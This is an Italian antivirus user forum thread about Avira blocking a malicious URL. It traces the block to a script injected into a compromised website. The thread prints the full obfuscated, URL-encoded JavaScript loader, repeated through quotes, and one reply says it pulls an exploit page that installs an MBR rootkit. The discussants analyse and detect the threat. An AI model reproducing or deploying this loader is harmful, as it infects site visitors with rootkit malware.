Hardware Upgrade Forum - Avira Antivirus 9/10

Hardware Upgrade Forum (https://www.hwupgrade.it/forum/index.php)

- Guida all'uso dei Programmi (https://www.hwupgrade.it/forum/forumdisplay.php?f=122)

- - Avira Antivirus 9/10 (https://www.hwupgrade.it/forum/showthread.php?t=1514684)

Quote:

Originariamente inviato da forum1 (Messaggio 22168661)

When accessing data from the URL, "hxxp://eaoafir.com/cgi-bin/index.cgi?grobin"
a virus or unwanted program 'HEUR/HTML.Malware' [heuristic] was found.
Action taken: Blocked file

ho ricevuto anche io questo warning 20 minuti dopo essere stato qui sul forum ed ero collegato al sito eng2ita quello di autopatcher

sarà qualche javascript pubblicitario che tenta di caricare il link?

oppure trattandosi di Heur.Html.Malware è un falso positivo?

ho l'euristica settata al massimo

si è lui ;)
a fondo pagina c'è questo simpaticissimo javascript:

Codice PHP:


		
			
%64c%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;dz%3d%22%2566%2575n%2563%2574i%256fn%2520dw(%2574){%2563a%253d%2527%252564o%252563%25257%2535me%25256et%25252%2565wr%252569%252574e(%25252%2532%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253c%252573c%2525%25372%252569%2570%252574 %25256can%252567%2575%2561%25256%2537%252565%25253d%25255c%25252%2532j%2561va%2525%25373c%2525%25372%252569%252570t%25255%2563%252522%25253e%2527;cc%253d%2527%25253c%25255c%25252fscrip%2574%25253e%2527;ev%2561l(%2575%256ees%2563%2561pe%2528t))%257d%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;ca%3d%22%2566%2575nct%2569o%256e %2564c%2573%2528%2564s,e%2573)%257bds%253d%2575ne%2573c%22;op%3d%22%2524%253d%2522dw(dc%2573%2528c%2575,%25314%2529);%2522;%22;cb%3d%22a%2570e(d%2573);%2573t%253dtmp%253d%2527%2527;fo%2572(i%253d0;i%253cd%2573.l%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cz%3d%22%2566unc%2574i%256fn c%257a(cz%2529{r%2565%2574ur%256e ca%252bcb%252b%2563c%252bcd+%2563e+%2563z;}%253b%22;ce%3d%22ch%2561rCo%2564eAt%25280)%255e%2528%25270x%25300%2527%252bes%2529));%257d}%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;st%3d%22%2573t%253d%2522%2524%253d%2573%2574%253b%2564c%2573(%2564%2561+%2564%2562%252b%2564%2563%252b%2564%2564%252bd%2565%252c1%2530%2529;%2564%2577(%2573%2574)%253b%2573%2574%253d$%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;cc%3d%22e%256e%2567th;%2569++%2529{%2574mp%253dd%2573.%2573li%2563e(i%252ci%252b1)%253%22;cd%3d%22b%2573t%253dst+%2553tri%256eg.f%2572%256fmC%2568%2561r%2543ode%2528(tm%2570.%22;%69f (%64oc%75me%6e%74.co%6f%6bie.%69nde%78%4ff%28%27vbull%65ti%6e_mu%6ctiq%75o%74e%3d%27)%3d%3d-%31){%73c(%27vbul%6ceti%6e_mu%6c%74iqu%6fte%3d%27,2,7%29%3b%65v%61l%28%75n%65sca%70e(%64z+c%7a+%6fp%2bst%29+%27dw%28d%7a+c%7a(%24+s%74));%27)%7del%73%65{%24%3d%27%27};fun%63tio%6e %73c(c%6em%2c%76,ed%29%7b%76ar%20%65x%64%3dnew%20Da%74e(%29%3be%78d.%73e%74Dat%65%28e%78d.g%65%74D%61t%65()+%65d%29;d%6f%63u%6dent%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61p%65(v)%2b%27;expir%65s%3d%27+exd.t%6fGM%54S%74%72ing%28%29;}%3b

inutile:AVIRA WEBGUARD ROCKS!!!!:cool:
...altro che "rallenta la connessione" ;)

Voglio rendervi partecipi, a tutti quelli che attendono Avira in Italiano, di questa bellissima notizia arrivatami direttamente da AVIRA:

"Dear COLGIAN,
Please go to your customer-account and click to "Renew".
You find the license for 1, 2 or 3 years.
Here are the prices:
PersonalEditon Premium 1 Year 26,95 $
PersonalEditon Premium 2 Year´s 44,95 $
PersonalEditon Premium 3 Year´s 62,95 $
Here is an info for you:
the Premium, Premium Security Suite, Professional will be available in italian in 05.05.2008. : )"

Quote:

Originariamente inviato da colgian (Messaggio 22168701)

grazie,corro a editare il secondo post ;)

Quote:

Originariamente inviato da juninho85 (Messaggio 22168697)

si è lui ;)
a fondo pagina c'è questo simpaticissimo javascript:

Codice PHP:


		
			
%64c%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;dz%3d%22%2566%2575n%2563%2574i%256fn%2520dw(%2574){%2563a%253d%2527%252564o%252563%25257%2535me%25256et%25252%2565wr%252569%252574e(%25252%2532%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253c%252573c%2525%25372%252569%2570%252574 %25256can%252567%2575%2561%25256%2537%252565%25253d%25255c%25252%2532j%2561va%2525%25373c%2525%25372%252569%252570t%25255%2563%252522%25253e%2527;cc%253d%2527%25253c%25255c%25252fscrip%2574%25253e%2527;ev%2561l(%2575%256ees%2563%2561pe%2528t))%257d%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;ca%3d%22%2566%2575nct%2569o%256e %2564c%2573%2528%2564s,e%2573)%257bds%253d%2575ne%2573c%22;op%3d%22%2524%253d%2522dw(dc%2573%2528c%2575,%25314%2529);%2522;%22;cb%3d%22a%2570e(d%2573);%2573t%253dtmp%253d%2527%2527;fo%2572(i%253d0;i%253cd%2573.l%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cz%3d%22%2566unc%2574i%256fn c%257a(cz%2529{r%2565%2574ur%256e ca%252bcb%252b%2563c%252bcd+%2563e+%2563z;}%253b%22;ce%3d%22ch%2561rCo%2564eAt%25280)%255e%2528%25270x%25300%2527%252bes%2529));%257d}%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;st%3d%22%2573t%253d%2522%2524%253d%2573%2574%253b%2564c%2573(%2564%2561+%2564%2562%252b%2564%2563%252b%2564%2564%252bd%2565%252c1%2530%2529;%2564%2577(%2573%2574)%253b%2573%2574%253d$%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;cc%3d%22e%256e%2567th;%2569++%2529{%2574mp%253dd%2573.%2573li%2563e(i%252ci%252b1)%253%22;cd%3d%22b%2573t%253dst+%2553tri%256eg.f%2572%256fmC%2568%2561r%2543ode%2528(tm%2570.%22;%69f (%64oc%75me%6e%74.co%6f%6bie.%69nde%78%4ff%28%27vbull%65ti%6e_mu%6ctiq%75o%74e%3d%27)%3d%3d-%31){%73c(%27vbul%6ceti%6e_mu%6c%74iqu%6fte%3d%27,2,7%29%3b%65v%61l%28%75n%65sca%70e(%64z+c%7a+%6fp%2bst%29+%27dw%28d%7a+c%7a(%24+s%74));%27)%7del%73%65{%24%3d%27%27};fun%63tio%6e %73c(c%6em%2c%76,ed%29%7b%76ar%20%65x%64%3dnew%20Da%74e(%29%3be%78d.%73e%74Dat%65%28e%78d.g%65%74D%61t%65()+%65d%29;d%6f%63u%6dent%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61p%65(v)%2b%27;expir%65s%3d%27+exd.t%6fGM%54S%74%72ing%28%29;}%3b

inutile:AVIRA WEBGUARD ROCKS!!!!:cool:
...altro che "rallenta la connessione" ;)

a fondo pagina di quale sito? di eng2ita.net?

voglio capire quale sito ha cercato di farmi caricare la pagina che ha messo in allarme antivir

io questo sito eaoafir.com non l'ho certo visitato direttamente

Quote:

Originariamente inviato da forum1 (Messaggio 22174733)

Era a fondo pagina di eng2ita.net ora il sito è pulito.

Quote:

Originariamente inviato da GmG (Messaggio 22175156)

Era a fondo pagina di eng2ita.net ora il sito è pulito.

quindi o era stato violato il sito oppure era un javascript esterno di tipo pubblicitario

probabile il secondo

Quote:

Originariamente inviato da forum1 (Messaggio 22175304)

quindi o era stato violato il sito oppure era un javascript esterno di tipo pubblicitario

probabile il secondo

Violato il sito.

Quote:

Originariamente inviato da juninho85 (Messaggio 22168697)

si è lui ;)
a fondo pagina c'è questo simpaticissimo javascript:

Codice PHP:


		
			
%64c%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;dz%3d%22%2566%2575n%2563%2574i%256fn%2520dw(%2574){%2563a%253d%2527%252564o%252563%25257%2535me%25256et%25252%2565wr%252569%252574e(%25252%2532%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253c%252573c%2525%25372%252569%2570%252574 %25256can%252567%2575%2561%25256%2537%252565%25253d%25255c%25252%2532j%2561va%2525%25373c%2525%25372%252569%252570t%25255%2563%252522%25253e%2527;cc%253d%2527%25253c%25255c%25252fscrip%2574%25253e%2527;ev%2561l(%2575%256ees%2563%2561pe%2528t))%257d%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;ca%3d%22%2566%2575nct%2569o%256e %2564c%2573%2528%2564s,e%2573)%257bds%253d%2575ne%2573c%22;op%3d%22%2524%253d%2522dw(dc%2573%2528c%2575,%25314%2529);%2522;%22;cb%3d%22a%2570e(d%2573);%2573t%253dtmp%253d%2527%2527;fo%2572(i%253d0;i%253cd%2573.l%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cz%3d%22%2566unc%2574i%256fn c%257a(cz%2529{r%2565%2574ur%256e ca%252bcb%252b%2563c%252bcd+%2563e+%2563z;}%253b%22;ce%3d%22ch%2561rCo%2564eAt%25280)%255e%2528%25270x%25300%2527%252bes%2529));%257d}%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;st%3d%22%2573t%253d%2522%2524%253d%2573%2574%253b%2564c%2573(%2564%2561+%2564%2562%252b%2564%2563%252b%2564%2564%252bd%2565%252c1%2530%2529;%2564%2577(%2573%2574)%253b%2573%2574%253d$%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;cc%3d%22e%256e%2567th;%2569++%2529{%2574mp%253dd%2573.%2573li%2563e(i%252ci%252b1)%253%22;cd%3d%22b%2573t%253dst+%2553tri%256eg.f%2572%256fmC%2568%2561r%2543ode%2528(tm%2570.%22;%69f (%64oc%75me%6e%74.co%6f%6bie.%69nde%78%4ff%28%27vbull%65ti%6e_mu%6ctiq%75o%74e%3d%27)%3d%3d-%31){%73c(%27vbul%6ceti%6e_mu%6c%74iqu%6fte%3d%27,2,7%29%3b%65v%61l%28%75n%65sca%70e(%64z+c%7a+%6fp%2bst%29+%27dw%28d%7a+c%7a(%24+s%74));%27)%7del%73%65{%24%3d%27%27};fun%63tio%6e %73c(c%6em%2c%76,ed%29%7b%76ar%20%65x%64%3dnew%20Da%74e(%29%3be%78d.%73e%74Dat%65%28e%78d.g%65%74D%61t%65()+%65d%29;d%6f%63u%6dent%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61p%65(v)%2b%27;expir%65s%3d%27+exd.t%6fGM%54S%74%72ing%28%29;}%3b

Rilevato e bloccato anche su questo sito

ma cosa farebbe di preciso questo script??? :stordita:

Quote:

Originariamente inviato da Mafio (Messaggio 22178052)

ma cosa farebbe di preciso questo script??? :stordita:

Richiama con un iframe uno script (da un sito esterno) che contiene vairi exploit che tentano di installare il MBR Rootkit, inoltre scrive un cookie per impedire che lo script venga richiamato ad una successiva visita sul sito.

Quote:

Originariamente inviato da GmG (Messaggio 22178160)

ah...si ma allora basta usare no-script o similari per fotterlo. :asd:

p.s. adesso lo provo su vm con internet exploder 6 e senza antivirus.

Quote:

Originariamente inviato da Mafio (Messaggio 22178185)

ah...si ma allora basta usare no-script o similari per fotterlo. :asd:

p.s. adesso lo provo su vm con internet exploder 6 e senza antivirus.

è proprio qui il problema,no script gira solo su firefox,e il fatto che un utente utilizzi quest'ultimo non implica necessariamente che abbia quell'estensione installata ;)

Quote:

Originariamente inviato da juninho85 (Messaggio 22178213)

è proprio qui il problema,no script gira solo su firefox,e il fatto che un utente utilizzi quest'ultimo non implica necessariamente che abbia quell'estensione installata ;)

estensioni simili ci saranno sicuramente anche per gli altri browser...cò non toglie che quello script sia molto pericoloso.

Quote:

Originariamente inviato da Mafio (Messaggio 22178243)

estensioni simili ci saranno sicuramente anche per gli altri browser...cò non toglie che quello script sia molto pericoloso.

per internet explorer non conosco nulla di analogo,opera mi pare abbia un funzionalità di blocco script incorporata

comunque è sempre sul range technorail,pare sia preso particolarmente di mira quest'ultimo periodo...è il caso di fare un analisi del range completo :D

Quote:

Originariamente inviato da juninho85 (Messaggio 22178274)

per internet explorer non conosco nulla di analogo,opera mi pare abbia un funzionalità di blocco script incorporata

bhè questo non è vero vai su opzioni explorer/sicurezza e da lì abiliti e disabiliti quello che vuoi ;)

Quote:

Originariamente inviato da jedy48 (Messaggio 22181315)

bhè questo non è vero vai su opzioni explorer/sicurezza e da lì abiliti e disabiliti quello che vuoi ;)

sugli script puoi solo abilitare/disabilitare il supporto per java

Qualcuno sa spiegarmi qualcosa di più su questo MINIVIR, ho provato a cercare in rete ma non ho trovato nulla.

Quote:

Originariamente inviato da colgian (Messaggio 22181401)

Qualcuno sa spiegarmi qualcosa di più su questo MINIVIR, ho provato a cercare in rete ma non ho trovato nulla.

C'è un 3D dedicato....basta cercare e leggere.

ragazzi avevate ragione, il link è infetto...

guardate cosa dice prevx csi :asd: